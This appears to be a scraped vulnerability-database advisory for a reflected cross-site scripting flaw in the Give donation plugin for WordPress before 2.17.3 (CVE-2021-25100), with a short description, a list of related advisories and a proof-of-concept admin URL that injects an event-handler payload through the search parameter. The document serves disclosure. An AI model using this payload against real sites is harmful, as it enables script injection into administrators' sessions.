Lucene search
JrXnmWPEX-ID:FE2C02BF-207C-43DA-98BD-4C85D235DE8BHistoryJan 18, 2022 - 12:00 a.m.
Give < 2.17.3 - Reflected Cross-Site Scripting via Donation Forms Dashboard
2022-01-1800:00:00
JrXnm
212
reflected cross-site scripting
donation forms
example.com
EPSS
0.001
Percentile
31.8%
The plugin does not escape the s parameter before outputting it back in an attribute in the Donation Forms dashboard, leading to a Reflected Cross-Site Scripting
https://example.com/wp-admin/edit.php?s="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//&post_status=all&post_type=give_forms&action=-1&start-date&end-date&give-forms-goal-filter=any_goal_status&paged=1&action2=-1Related
wpvulndb
wpvulndb
Give < 2.17.3 - Reflected Cross-Site Scripting via Donation Forms Dashboard
2022-01-18 00:00:00
patchstack
patchstack
nvd
nvd
CVE-2021-25100
2022-02-21 11:15:08
cve
cve
CVE-2021-25100
2022-02-21 11:15:08
cvelist
cvelist
prion
prion
Cross site scripting
2022-02-21 11:15:00
openvas
openvas
WordPress GiveWP Plugin < 2.17.3 Multiple Vulnerabilities
2022-03-01 00:00:00